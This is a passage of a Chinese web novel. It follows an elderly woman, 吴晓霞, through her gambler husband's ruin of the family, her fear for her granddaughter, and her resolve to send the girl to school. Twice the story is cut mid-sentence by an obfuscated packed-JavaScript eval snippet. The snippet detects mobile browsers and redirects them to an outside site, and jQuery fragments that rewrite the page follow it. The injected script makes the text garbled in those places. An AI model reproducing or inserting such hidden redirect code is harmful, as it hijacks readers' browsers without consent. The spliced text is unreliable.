“阿花,你相信我,我已经摸清他们的路数了。只要把这五十亩地还了,我很快就能把它重新赚回来的。到时别说之前的五十亩地,我爹的一百亩,我爷爷的两百亩,我太爷爷的五百亩,都能挣回来,都能挣回来的!只要你把我地契给我,今天晚上,不,等咱们的孙子一出生,我就拿着一百亩地回来。你相信我,我就赌这最后一次,等我把一百亩地挣回来,就再也不赌了。阿花,咱们四十年的夫妻情谊,你总不能看着我死在你跟前吧。阿花,求求你了!” “钱二,”吴晓霞的婆婆挣开裙摆上的手,“这五十亩地是要留给儿子儿媳的。放心,哪怕你成了残废,我们也会养着你,等你死了,就让孙子替你摔盆开路。” 钱二没等来孙子摔盆开路。 他半夜收拾了东西往外地跑,正好碰上要债的。要债的心狠手辣,实实在在切掉了他十二根指头。 钱二疼啊,他哭,他喊,可寂静的林子里除了扑腾的飞鸟,再也没有动静。 钱二也没了动静,倒在血泊里。 血泊里的吴晓霞也快没动静了,她太小,不适合生孩子。任凭产婆怎么喊,气息都越来越少。 钱小六在门口来回踱步,见屋里又搬出一盆血水,再也等不住,抬步就要往屋里冲。 门口的丫鬟小厮全都拦了过来。 “少爷,夫人吩咐了,这产房是污秽之地,男子属阳,入内会冲克阴阳,不仅对产妇不利,还会折损家中福气,您可不能进去啊!” “是啊,听老一辈说,男子进产房会冲撞‘胎神’,少爷您且再等等,我这就去找产婆问问情况。” 丫鬟掀了帘子进去又很快出来。 “产婆说了,她接生三十余年,从来没有男子在旁的道理。男子若在场,会让产妇羞愤难安,气血不畅,反而耽误生产。她让少爷您在外烧好热水,备好老参,等少夫人出来才是真帮忙。” “行行,热水、老参……”钱二踹了贴身的小厮一脚,“还不赶紧去准备!” 钱家人里里外外忙活了一整晚,天刚破晓,屋子里传来一声响亮的哭叫。 屋外靠着柱子的钱小六被人叫醒,睁眼,产婆抱着一个皱皱巴巴的玩意儿凑到他面前:“恭喜少爷,夫人生了个六斤八两的小姐。” 小姐? 钱小六等了一晚上的心冷了。他又看了眼吴晓霞拼着命生下的孩子,暗想真丑。 “知道了。”他挥挥手,让人把孩子带了下去。 …… 钱二的尸体在几天后被人抬回钱家,钱小六一身白,替父亲砸了盆,开了路。 把父亲埋进祖地后,钱小六更坚定了要生个儿子的念头。 他对吴晓霞说,我娘生了五个女娃,第六个才是我。你也生,生他个十个八个,总能生出男娃。没儿子,以后入了地府,都没人替咱们摔盆指路啊! 吴晓霞惨白着一张脸,说好。 可她到底没生出男娃,在她第四个女儿刚会走路的时候,钱家没了。 吴晓霞甚至不知道发生了什么,只记得一开始,她让钱小六去市集卖玉米,顺便给二女儿买药。她等了一下午,只等来满面郁气的丈夫。 药呢?忘买了。 钱呢?明天收。 她点点头,抱着二女儿去村里的赤脚医生那赊了账拿了药。 第二天下午,赤脚医生上门要账,说钱小六压根就没给钱。 吴晓霞不掌钱,只能把匣子里的钗子当了,还上欠的钱。 事情似乎就是从那刻起失控的。 钱小六出门得越来越早,回来得越来越晚,有时候身上还沾了烟酒气。 吴晓霞厌恶,但牢记着出嫁前爹说的话,只能捏着鼻子默默忍下。 她只当他早出晚归在地里干活太累,需要些消遣的玩意儿。 可眼看着钱小六的脖子一天比一天短,吴晓霞还是忍不住开口劝,小六,我知道你想把爹输的五十亩地给挣回来,但也不能这么拼命,把身子累垮了可不行。 钱小六眼神闪烁了下,说知道了。 吴晓霞在家里安心带娃,可诡异的事情越来越多。先是她匣子里的首饰越来越少,柜子里的衣服越来越少,再是家里的仆人越来越 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她看着满眼的红,上气不接下气地喘着。她知道自己是在妄想,大女儿最是懂事,哪怕穿上满是大头针的嫁衣,也只会默默把针拔下,再默默落泪,想着自己是做错了什么,才惹得娘爹不要自己。 送走大女儿后,吴晓霞大病了一场,原本丰腴的身体瘦成了竹竿。家里的仆人走的走,卖的卖,一家子的活全都落在了吴晓霞身上。 那双白嫩了二十几年的手磨出老茧,长出脓疱。脓疱破了,脓血顺着手背流进碗里,吴晓霞搅了搅,将这碗粥送到钱小六面前。 钱小六看也没看,稀里哗啦喝完,一抹嘴,就往隔壁村赶。 吴晓霞之前还当他忙着下地,现在知道,他是去赌。 蹲在路边斗蛐蛐,一斗就是一天,斗得脖子没了,女儿没了,剩下的五十亩地没了,钱家祖祖辈辈住了近百年的宅子也没了。 吴晓霞有时想,怎么没把自己也给赌没了。但转念一想,钱小六这老头精着呢,把自己也给赌没了,谁给他洗衣做饭,谁给他端茶倒水。 她不是没想着逃,她抱着小女儿跑回家时,被爹拿着扫把赶了出来。 嫁出去的女儿泼出去的水。出嫁了的女儿就老老实实待在婆家,别有事没事回娘家,让人看见了是要说闲话的。 吴晓霞牵着女儿,茫然地站在路口。 什么婆家娘家,家就是家啊。有娘有爹的地方,就是家啊。 儿时在外,娘和爹会叫着她的名字唤她回家,嫁人后,怎么连家门都不让入了。 镇上的女人们都说女人成亲后会有两个家。 可吴晓霞站在熙熙攘攘的人群里,发现自己无家可归了…… * “唉,这人老了就爱想七想八。”吴晓霞拿挂脖子上的面巾抹了把汗,发现不知何时竟泪流满面。 嘴皮子干到开裂,她晃了晃水壶,一点水声也没有。 想到丫丫还饿着肚子在家等奶奶回家做饭,吴晓霞干净利落地将打下的稻谷捆成捆,扛着镰刀就往家里赶。 这个点乔壮应该已经把筒骨送来了,筒骨得熬一个半钟头,到时先给丫丫蒸个蛋,撒点酱油葱花,配窝窝头垫巴两口。等吃完饭,再回地里,把捆好的稻谷拖回家。 地里的稻谷还得收个五六日,也不好一直麻烦香仪,等天再凉点,还是把丫丫带到地里,总在家待着容易闷出病来。 吴晓霞盘算着,手刚推开门,就听到灶屋里传来窸窸窣窣的响声。 莫不是遭贼了! 吴晓霞心里一紧,想到丫丫,连忙握紧手里的镰刀,小心地往那黑影处挪去。 “这也没有那也没有,这死老太婆,把吃的都藏哪去了?” 一凑近,听到熟悉的声音,吴晓霞握着镰刀的手一松,一把点亮灶屋的灯。 男人受惊回头,见到是她,连忙大喊:“你可算回来了,怎么连饭也没煮?赶紧煮,我饿了。” 吴晓霞没理他,第一时间先去丫丫屋里找丫丫。还没走到,就看到房门大开。 她心一颤,连忙大喊:“丫丫?丫丫?你在屋里不?” 屋里静悄悄一片。 她猛地打开灯,床上的被子还掀开在那,剩了几粒米的碗也还在桌上,可房间里一个人都没有。 “丫丫?别跟奶奶玩捉迷藏了,快出来吧。”吴晓霞扯着嘴,轻声说道,“再不出来,大骨头可都要被奶奶吃光了。” “大骨头!”男人刚跟到门后就听到这话,“今晚有肉吃?赶紧赶紧,老子前几天手气不佳,饿了好几天,肚子里一点油水没有。” “手气不佳。”吴晓霞低声重复了一遍。 因为他的“手气不佳”,她失去一个又一个女儿,如今,就连和她相依为命的孙女都不肯放过吗? 吴晓霞俯身摸了摸凉透的被子,抄起地上的镰刀,狠狠砸在钱小六身后的门上。 弯月似的刀尖深陷,形成虎头铡的模样,将钱小六牢牢锁在刀下。 吴晓霞握着刀把,一点点下压,眼里是止不住的恨意。 “把我的丫丫,还给我!” 19.晓霞(三) 19.骨头汤 脖颈的皮肤感受到冰凉的刀身,登时立起无数鸡皮疙瘩。 钱小六见她红着一双眼,像是发疯,往常拖沓拉长的语调都快上数倍:“什么鸡鸡鸭鸭,你这疯婆娘,赶紧把刀给我放下!你要杀人不成!” “丫丫,我的丫丫!我的宝贝孙女!你把我的宝贝孙女卖给谁了!” “丫丫啊,那丫头不在屋里躺着?我今天回来还看见她了。” “没有!骗人,你这个骗子!你之前就是这样,把我的女儿一个个都骗到别人家去了!淑芳、淑兰、淑秀、淑雅,那可都是我怀胎十月生下的孩子啊。钱小六,你不得好死!” “嘶——”钱小六脖子一疼,温热的液体顺着皮肤落到地上,溅成血团。 钱小六看到那一个个红点,心知这女人是魔怔了,再不动手,自己怕是真要成这刀下冤魂。 “吴晓霞,你听,淑芳淑雅在外头喊你呢。” “喊我?”听到女儿的名字,吴晓霞瞬间安静下来,她侧耳去听,可除了偶尔经过的夜风,什么也没有。 “骗子!骗子!” “嘘——你安静点,她们明明就在外头喊‘娘’,喊得可大声了,你仔细听。” 吴晓霞怀疑地看着男人,可她太想女儿了,尤其是淑芳淑雅,一个在镇上的饭馆忙得脚不沾地,去年过年都没回来;一个在城里打工,除了每个月寄钱的书信,人是从来没回来过的。 “她们说她们好想娘啊,还说给娘带了好多东西,拿不动,让娘赶紧出去帮着提呢。” 是淑芳会说的话,淑芳每年过来看她,总是大包小包的。 吴晓霞急了,努力侧着耳朵,她怎么听不到女儿的声音啊! 风刮过树叶、刮过砖墙、刮过瓦片、刮过堆放在灶屋里的芒萁,窸窸窣窣、呜呜咽咽中,竟真挤出句变了调的“娘——”。 “听到了听到了,娘听到了。是淑芳淑雅回来了,是我的女儿们回来了!” 吴晓霞连忙理了理头发,又扯了扯衣裳,踉跄地往灶屋走去:“等会淑兰淑秀也要来了,得赶紧做饭,她们最爱吃我做的猪油拌饭了,再一人摊个猪油煎的鸡蛋…… 淑芳,你是长姐,看着妹妹们一点,等娘炼完猪油,偷偷给你吃猪油渣…… 淑兰,帮娘去买点盐,剩的钱给自己买糖吃,糖到手就往嘴里塞,不然又让妹妹们抢去了…… 淑秀,你丈夫那家人是不是又骂你了,要是过不下去咱们就不过了,娘最近攒了点钱,你回来,娘养着你……” 淑雅,怎么饭吃着吃着又吃到脑袋上去了,来娘这,娘给你这大花猫擦擦脸……” 钱小六小心地把刀从脖子前取下来,往镜子那一照,下巴和锁骨中间,划拉出一条血线。好在伤口不深,已经没再往外淌血。 他看了眼外头对着空气自言自语、张牙舞爪的女人,嗤了一声,疯婆子疯了还知道往人脖子砍,不过他早就把脖子缩没了。 他爹说得对,他生来就是福大命大的富贵命。 钱小六拍了拍鼓鼓囊囊的钱袋,等过两天大市集,他保管让那些人把底裤都输没喽。 不过现在嘛…… 他从门上拔下镰刀,向屋外的吴晓霞走去。 …… “奶奶,我回来了。”丫丫趴在乔壮怀里,伸手去敲门。 “奶奶?”没人应声,乔壮却能听到里面一粗一细两道呼吸声。 “砰——”她一脚踹开门,门闩当即断成两截,落在地上,砸出“当啷”两声。 钱小六拿碗的手一抖,见到来人,嘴一斜:“乔壮你做什么!把我家的门都踹坏了。一扇门一百,你要是不赔钱,我就找村长告状去。” 乔壮看到晕倒在地的吴晓霞,面色一沉,将怀里的丫丫和手里的篮子放下,右手摸上腰间的杀猪刀:“你在干什么?” “还能干什么?祛邪呗。这女人刚刚对着空气又哭又笑的,还想拿刀砍我,不是中邪了是什么。”钱小六边说,边抓起碗里的米往吴晓霞身上砸去。 “我本来想把她打晕带去庙里看看,还没靠近人就自己晕了。都说糯米能驱邪,我翻箱倒柜才找出这些糯米来。正好你来了,你把她捆起来,明天开你的车,把她带去庙里请师傅看看。” 糯米虽轻巧,使足劲扔在人脸上,照样能打得人龇牙。 “别扔了。”乔壮一把夺过他手里的碗,俯身把人从地上捞起,对准人中用力一掐。 “嗬——”吴晓霞倒吸一大口气,又被呛得连咳几声。眼还没睁全,泪眼朦胧中看到乔壮,就紧紧抓着她的手,哑声道:“乔壮你帮我问问他,他把我的丫丫卖哪去了。我的丫丫那么小,还受了伤,肯定会被人欺负的,我得把她接回来……” “你看你看,又说胡话了,我什么时候把丫丫卖人,那丫头不好端端在门边嘛。”钱小六杵了杵站在门边一动不动的丫丫,“还不喊人,再不喊,你奶奶怕是又要犯病了。” 丫丫被他一推,受伤的腿撞上大门,脸霎时就白了。 “奶奶,我没事,我刚刚去壮壮姊姊家了。”丫丫忍着痛,哆哆嗦嗦地说出句话。 “咋了这是?伤口又疼了?”吴晓霞一眼看出不对,连忙将人扶到了椅子上,“奶奶去给你拿止痛片。” “不用,我就是刚刚撞门上了,过会儿就好。”丫丫年纪小,也知道钱珍贵,止痛药能省就省,“奶奶,我饿了,我们吃饭吧。” “吃饭好,爷爷也饿了,不是说疯、晓霞订了筒骨,在哪呢?”钱小六话还没说完,屁股已经挨着椅子坐下。 桌前的三个女人没一个理会他,钱小六也不尴尬:“是不是在乔壮的篮子里啊?我刚就看到了,那么大个篮子,放根筒骨绰绰有余……” 钱小六伸手就要去拿篮子,乔壮将杀猪刀往桌上一拍,钱小六的手就缩了回来。 “哎呀,这碗筷还没拿呢,我去灶屋拿,乔壮今儿也在我们这对付一口不?” 乔壮没理他,钱小六低声骂了句脏话,转身拿了四套碗筷。 等他回来,桌上已经摆着一大罐的筒骨汤和一碟子的窝窝头。 乔壮拿过碗,给两人打汤:“都是秀梅做的,我尝过,很好喝,你和丫丫多喝点。” “太麻烦你们了,又帮我看顾丫丫,还帮我做饭。我再去拿个干净的碗打汤,到时你带回去给秀梅喝。”吴晓霞起身要去拿碗,被乔壮拦下。 “不用,我们吃过了。” 丫丫看了眼爷爷,也小声开口:“壮壮姊姊和梅姨都吃过饭了,她们叫过我,但我想和奶奶一块吃。” “唔,我就说了,丫丫是个孝顺的,还知道等爷爷奶奶一块吃饭呢。”钱小六巴拉走罐里仅剩一块的大骨头,边啃边说。 吴晓霞翻了个白眼:“吃都堵不住你这张破嘴,吃完赶紧滚!” “在孩子面前,怎么跟我说话呢。丫丫,你可别学你奶奶,正所谓‘夫为妻纲’,等你以后嫁人了,可不能对丈夫不敬,不然轻则动手打骂,重则一封休书将你扫地出门啊。” “现在没有休书,只有离婚证,无论女男,都可以提出离婚。”秀梅最近一直在看阿姊的法律大全,乔壮闲着没事,也看了几眼,具体的内容没记住,大概意思却记下了。 钱小六看了眼桌上的杀猪刀,又看了眼乔壮隆起的块块肌肉,不敢呛声,只默默低头啃自己的大骨头。 啃了没一会儿,眼睛看到自己鼓鼓囊囊的钱袋,没忍住,又开口了: “丫丫,虽说这离婚男人女人都能提,可自古以来都是男人在外赚钱养家,女人在家相夫教子。男人作为一家之主,家里的顶梁柱,你可要小心伺候,不然惹恼了不给你钱花,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564712|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要喝西北风喽。丫丫也不想每天饿肚子吧。” “放你爹的狗屁!”吴晓霞再也听不下去,“钱小六,你但凡要点脸,都说不出这些话来。还一家之主、顶梁柱,这个家要是靠你,我坟头草都三米高了!这家里地里,哪样不是我张罗的,你钱小六有出过一分钱,使过一分力?” 虽然吴晓霞说的是实话,但在小辈和外人面前被妻子这样驳了面子,钱小六也气红了脸。 “没出过一分钱?好,我现在就出钱。”他把钱袋猛地拍在桌上,“整整一千四百二十五块三毛七,给你!” 吴晓霞一愣,再大的火气在这笔巨款前也熄了。 “都给我?” 钱小六看着乔壮和丫丫投来的四只眼睛,梗着脖子:“都给你!” “行。”吴晓霞一把将钱袋捞进怀里。 “等等!” “怎么,又不舍得了?” “不是。”钱小六从怀里掏出一根头绳,扔在桌上,“还有我给丫丫买的红头绳,你也拿去。” 哟,公鸡下蛋,公猪上树,公牛产奶,钱小六还知道给孙女买东西了。 吴晓霞拿过头绳打眼一瞅,就看到小半截脚印。 这哪是买的,分明是人掉了被捡回来的。 吴晓霞张嘴就要嘲讽,却看到丫丫直勾勾盯着红头绳。她刚张上的嘴又闭上了,只拿手去擦那脚印。 钱小六见她不说话,又神气上了,刚想再教孙女几句,就被乔壮打断:“我阿姊说过,食不言,寝不语。” “对,对,食不言,寝不语。”钱小六能活到今日,靠的就是从心二字,意识到乔壮不开心,连忙住了嘴。 没有叽叽喳喳的男人说话,桌上一时间只剩下碗筷勺子的碰撞声和男人粗鲁的吸溜声。 钱小六连喝五碗骨头汤,直将瓦罐喝得只剩浅浅一层底,他啃了大骨头还不乐意,嗦嗦挂了点汤汁的筷子,探头去罐里继续捞肉。可惜这罐子就只有一块没肉的大骨头,他再怎么捞,也只能捞出点油沫。 吴晓霞看了眼被糟蹋的骨头汤,心疼得不行。这倒又舍不得,喝又喝不下,只能放在面前糟心。 “走了。”钱小六才不在意自己方才的行为多恶心人,把筷子一撂,转身就走,没走几步又回来,手一伸,连碟子带窝窝头,全抢了去,“你们女人吃得少,这窝窝头过夜了也不好吃,我肚子还能装,就帮你们吃了。” “诶,死老头,你把窝窝头放下!”吴晓霞怕孙女没吃饱,一拍桌子就要去追,却被丫丫拉住手。 乔壮掀开还盖在篮子上的半块布,从底下又拿出一罐满是肉的骨头汤,和一叠白面做的饼。 “这……” “我和壮壮姊姊说爷爷肯定会把东西都吃完,壮壮姊姊就想了这个办法。爷爷吃饱,就只能看着我们吃好吃的。” “你们有心了。”吴晓霞叹了口气,往孙女碗里又夹了块肉。 …… 等丫丫吃完上床睡觉,吴晓霞把洗干净的瓦罐和碟子放进乔壮的篮子里,又从口袋里拿出二十块。 乔壮有些疑惑:“钱袋?” “不用钱小六的钱。这些赌来的钱,不干净。”吴晓霞和这个男人生活了四十多年,早看得一清二楚。 “他现在嘴上说得好听,过两天肯定要从我这拿回去的,用了他的钱,又要扯皮扯半天,还不如各自用各自的钱。他钱小六在外是赚大钱,还是欠高债,都和我吴晓霞一点关系都没有。” 之前她还会拿自己的钱填补钱小六的洞,可自从有了丫丫后,她就再也没给过钱。 能给口吃的,给个落脚地,她吴晓霞也算是仁至义尽了。 乔壮没多说,拍拍自己的杀猪刀。 “老价钱,骟猪两元,杀猪二十。” 吴晓霞摸了摸怀里的红头绳:“记着呢。” 20.晓霞(四) 20.书包 乔壮回家的时候,阿姊房间的灯还亮着。 橙黄的光在帘布上打出一个暖融融的光团,光团上还有个低头翻书的黑影。 乔壮抱着篮子在门口看了半晌,才走进灶屋。 灶台边的水池里堆了几个碗,既然赵秀梅做了饭,洗碗的活就落到乔壮手里。家务活,家务活,自然是家里的每个人都务必要干的活。 等她洗完碗,用一旁的面巾擦干手,才从口袋里拿出在郑婆小卖部买的干菊花,泡了杯热气腾腾的菊花茶。 “阿姊说菊花茶能清肝明目。”乔壮在书桌上放了个木垫,再往上放盛了菊花茶的大碗。“看累了你还可以用菊花茶的热气熏眼,我看阿姊做过。” “热水和菊花我都放这了,不够自己加。我先睡了,你也早点睡。”乔壮将东西放在桌旁,叮嘱一句就关门离开。 这几天温度高,为了避免猪肉在路上就臭掉,乔壮两点左右就要出门,因此吃完晚饭消完食就会上床睡觉。 赵秀梅目送乔壮的背影被木门遮掩,听到另一扇门重新开启又合上,揉了揉酸涩的眼,捧起大碗,喝了一口。 菊花茶温度刚好,不烫也不凉,碗面上还飘着几颗吸饱水后圆滚滚胖嘟嘟的小枸杞。 赵秀梅追着枸杞看了几分钟,等到眼睛不再干涩,才重新埋头,看起书来。 凌晨两点,乔壮准时睁开眼。 轻手轻脚地洗漱完,从灶屋拿了三个梆梆硬的窝窝头,她拉开货车的驾驶门,在驾驶位上看到一个塑料盘。 红色的塑料盘被一条又一条毛巾包裹,乔壮一层层揭开,发现是五张麦饼,摸着还有点热乎气。驾驶座和副驾驶座中间的储物格,自己找了半天的水壶正好端端立在那,里面是早已打满的温水。 乔壮将塑料盘拿在手里,上车,又看了眼堂屋的方向,才关上车门,扭转钥匙出发。 路上她咬了口麦饼,发现是咸菜肉沫馅儿的。 麦饼的饼皮被渗出的油浸得润亮,一口下去,是暄软的饼皮,酸咸的咸菜和鲜香的肉沫,再配上边缘煎得焦脆的脆壳,吃得乔壮胃口打开,连吃三张。 第四张一口下去,没咬断。 乔壮咬着饼用力一扯,直接扯出饼里的一大块肉沫。 油星和酸菜像泥点子一样纷纷扬扬溅在她的腿上。 乔壮靠边停车,打开车内灯,看了眼嘴里的肉饼。肉饼上的肉被切分得仔细,大小匀称,像炸开的鳞片,颇有乔壮平日切的风范,唯一的问题是,没切断,底下的筋膜还黏连着。 嗯,徒儿刚学没几天,有问题也正常,不然要她这个师傅做什么。 乔壮在心里宽慰自己,嚼巴嚼巴,往喉咙里灌几口水,总算把嘴里的肉饼咽了下去。 顶着一牙缝的肉,她迅速收拾完车里的残骸,关上灯,重新上路。 …… 五点不到,乔壮的猪肉铺前就排起了长队。 女人们拎着篮子三三两两地站在一块儿,像一棵树上分出的枝丫,一丛一丛,彼此隔着宽宽的间隙,每丛枝丫都窸窸窣窣说着自己的悄悄话。 吴晓霞牵着睡眼惺忪的孙女,找到了自己村的枝丫。 “咋这么多面生的?”乔壮铺子的顾客都是重庚村和隔壁村的,大家见多了,虽不知道名姓却也认得脸。 “还不是咱们村跑大车的媳妇,嘴也没个把门,吃多了酒把乔壮猪肉铺子卖得比别地便宜的事说出去了。” 隔壁村一个扎头巾的女人正小声抱怨,突然被重庚村熟识的人杵了下胳膊:“咋了?我说说还不行了?” “不是。”重庚村的女人当着吴晓霞的面又不好直说,把人拉了出来才道,“我和你说过的,她女婿就是被大车给撞没的。” “哎呀,是她呀。”扎头巾的女人吃了一惊,连拍几下嘴,回到队伍里,不好意思地冲吴晓霞道歉,“婶子,不好意思啊,我也不知道您女婿……” “没事。”吴晓霞理了理孙女头顶的发绳,“都过去这么多年了,该走出来了。死人困在过去,咱活人还得往前看。” “是是,婶子说得在理。”扎头巾的女人笑着应声,从篮子里拿出块枣糕,“自家做的,做多了,给娃娃尝尝。” 丫丫见奶奶同意,才伸手接过,小声道了谢。 “来了来了!”末尾有眼尖地看见乔壮的货车,高喊一声,原本还松松散散的一群人瞬间站好,变成绿化道里排列整齐的一棵颗小树。 乔壮见到队伍,也吃了一惊,好在她今天多进了半扇肉,不然还真不够卖。 熟练地在摊位旁撒一圈石灰,又用开水烫了砧板和刀,乔壮将“休息”的牌子翻个面,正式开始营业。 熟识的顾客甚至不需要开口,乔壮就能给她们切好,倒是一些新来的,还需要磨合。 不过乔壮性子好,手上功夫也好,女人们要的肉,多肥多瘦,几斤几两都能切得分毫不差,让一些原本觉得便宜没好货的女人们都心服口服。 来的人多,三小时不到,铺子里的肉就都卖完了。 乔壮送走最后一个顾客,又用赵秀梅刚烧好的开水烫了刀和砧板,拿干净的面巾一擦一抹,“营业”的牌子一翻,就往家里走去。 赵秀梅见她回来,连忙把凉透的白开水递了过去,又用帕子沾了打来的井水,抬手就要替乔壮擦汗。 乔壮向后躲了躲,接过帕子自己擦了起来。 这辈子只有娘和阿姊给她擦过脸,突然来个人要给她擦,一时还真不适应。 赵秀梅被夺了帕子,有点无措地站在原地。 乔壮把大脑袋埋进帕子里,同样无措地站在对面。 坐在板凳上的丫丫看着相对无言的两人,边小口啃着枣糕,边思考两人在干什么。 蒙眼躲猫猫吗?可壮壮姊姊和赵姨怎么都不动?难道——要躲的人是她? 年仅七岁的丫丫还不知道,成熟的大人们将这种情况称呼为“尴尬”。 “时间还早,我先去搭木屋,等再热点就不好干了。”乔壮攥着帕子就往外走。 “呃呃。”我也去看书。赵秀梅端着脸盆就往乔阿姊的房间走去,临到门前,才意识到手里还拿着脸盆,慌慌张张把脸盆放回堂屋,正好和回来放帕子的乔壮撞上。 两人见面,又是一顿手足无措、手忙脚乱、手舞足蹈,一番折腾后,总算分开去干自己的事,留丫丫一人坐在堂屋的板凳上发呆。 “壮壮姊姊,”她扒在堂屋的门边,摸着肚子不好意思地开口,“我有点饿,你们家有吃的吗?半个窝窝头就行。” 枣糕就半个手掌大,丫丫还分了一半给奶奶吃,出门前奶奶放兜里的白面饼也不知道掉哪了。丫丫本来想着再忍两三个小时就能吃午饭,但她的胃饿得一抽一抽的,直往外涌酸水。 乔壮放下手里的斧头,去车上拿剩下的咸菜肉沫饼,撕了一半,递过去:“先吃半个垫肚子,中午还要吃饭。” 丫丫看到里面的肉沫,眼睛都亮了,却没接,摇摇头:“我吃窝窝头就行了。” “家里没窝窝头。”乔壮伸出去的手不收回,直愣愣地举着。 肉饼的香气一丝丝地钻进丫丫的鼻子,丫丫被香得直咽口水,抬头看了乔壮好几眼,才伸手去接。 她顺着边缘小口小口咬着,乔壮一眼看出她的小心思:“饼留到晚上就坏了,吴婶吃了会拉肚子的。” “我……” “吃吧,吃不完放桌上我吃。” 乔壮给她倒了一碗水,拿着另半张饼,敲响了阿姊的房门。 “秀梅,出来吃饼。” “……” “徒儿,出来吃饼。” “?”赵秀梅拉开一条缝。 “我现在以师傅的身份,让你出来吃饼。” “……” 赵秀梅打开门,接过饼,和丫丫一块坐在堂屋里,沉默地啃起饼来。 看着一大一小乖乖啃饼的模样,乔壮福至心灵,明白了权力的运用。 “徒儿,以后做任何吃的,都要做双份,你一份,我一份,记住了吗?”乔壮故意板着脸,“要是再让我发现你做肉麦饼只做我的份,我就……” 乔壮想说找你娘爹告状,发现不合适,又换了句。 “我就不让你进屋看书。” 这个惩罚够重,赵秀梅闻言连忙点头,并表示自己下次不会再犯。 半张饼很快吃完,丫丫擦了擦嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571356|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说:“很好吃,谢谢壮壮姊姊。” “饼是秀梅做的。”乔壮一点儿不贪功。 丫丫又对着赵秀梅道了声谢,还夸她饼做得好、味道调得好、肉沫也切得好。 乔壮在一旁不住点头,听到最后一句时,顿了顿,舔了舔牙缝里的肉,违心地点下脑袋。 * 七天后的大集市如约而至,周围所有村子的人都往镇上赶。 乔壮的猪肉铺子也暂停营业,带着赵秀梅,开着货车,一块去凑热闹。 赵秀梅在重庚村这么多年,连村子都没出去过,更别说去赶集了,一路上看什么都新鲜。 乔壮最近恶补了如何当师傅,其中一条就是要对徒儿好。 因此只要赵秀梅多看一眼的东西,她都花钱买下。要是有稀奇好看的,就买两份,一份给徒儿,一份给阿姊。 路上正好遇上推着轮椅的吴晓霞。 轮椅是找卫生所借的,一天要一块,吴晓霞咬咬牙,硬是借了一天。 一块就一块,丫丫开心才是最重要的。 两拨人遇到的时候,吴晓霞正拿着个斜挎的绿色帆布包和摊主讨价还价。 “4块,再多不买了。” “哎呦婶子,我这包进价可都要6块,往常卖10块,我看你是诚心买,才卖你8块的。” “4块5。” “不成不成,你就是绕整个集市走上一圈,都没这个价。” “4块6。” “婶子你别开玩笑了!” “两个包,11块。”乔壮强势入局。 “这……大妹子,11也太少了,怎么也得15。” 见摊主不同意,乔壮没有多说,只看向吴晓霞,“吴婶,刚刚有人卖5块一个,我们去那买。” “走。”吴婶瞬间领悟,推着丫丫跟在乔壮身后。四人没走几步,就听到摊主在后头喊她们。 “行了行了,就按你们说的价。” 11块,两个书包平摊,一个也才5块5,比吴晓霞原本计划的还便宜了一块。 她开心地把斜挎包挂在轮椅后边,拍了拍乔壮的胳膊:“行啊,看着虎头虎脑的,还知道吓唬人,这招又是从你阿姊那学来的?” “啊?”乔壮挠了挠脑袋。她是真打算带吴婶去别处买包的,虽然5块那家料子没这家好,但也还行。不过…… “吴婶你买书包干啥?你要去念书?” “刚夸你聪明,你这娃娃。”吴晓霞左右看了看,贴到乔壮耳边轻声说,“不是我,是我家丫丫。明天就要去镇上念小学了!” 光是说出这句话,吴晓霞都忍不住红了眼眶。 当年她想和阿弟一块念书,被世道一句“女子无才便是德”给堵了回去。 爹说,男娃娃念书念得好能出人头地、光宗耀祖,女娃娃念得再好有什么用?还不是要嫁人生子,一辈子待在后院。花这冤枉钱,还不如给你弟多买件御寒的冬衣。 娘说,乖,听你爹的。 “女人读书没用”这句话像个钢印,死死刻在吴晓霞的脑门上、意识里。她曾质疑过,可得到的答复全是赞同。 “女人读书有什么用?” “女人读书就是浪费钱。” “读书?那是男人的事,女人就该安分待在家里,好好照顾丈夫才是正事,别老想那些不三不四的!” “……” 假话说的多了,就会被一些人当作真话。 可假话终究是假话,乔阿姊的成功,结结实实朝所有人脸上扇了记响亮的耳光。 女人不会读书?她是方圆百里第一个考上大学的大学生。 女人读书没用?她靠着奖学金,养活自己和妹妹,又靠着高学历在城里找了份体面的工作,赚的钱比重庚村所有男人都要多。 女人读书有没有用? 有用!太有用了! 乔阿姊搬去城里住的那天,吴晓霞盯着房顶的漏缝看了一晚上。 等到第二天鸡鸣,她做了个重要的决定——无论如何,她一定要送丫丫去上学! 被困在花轿里的人够多了,如果有人要把她的孙女推进花轿,她就和她的女儿们把人举起来,推出去!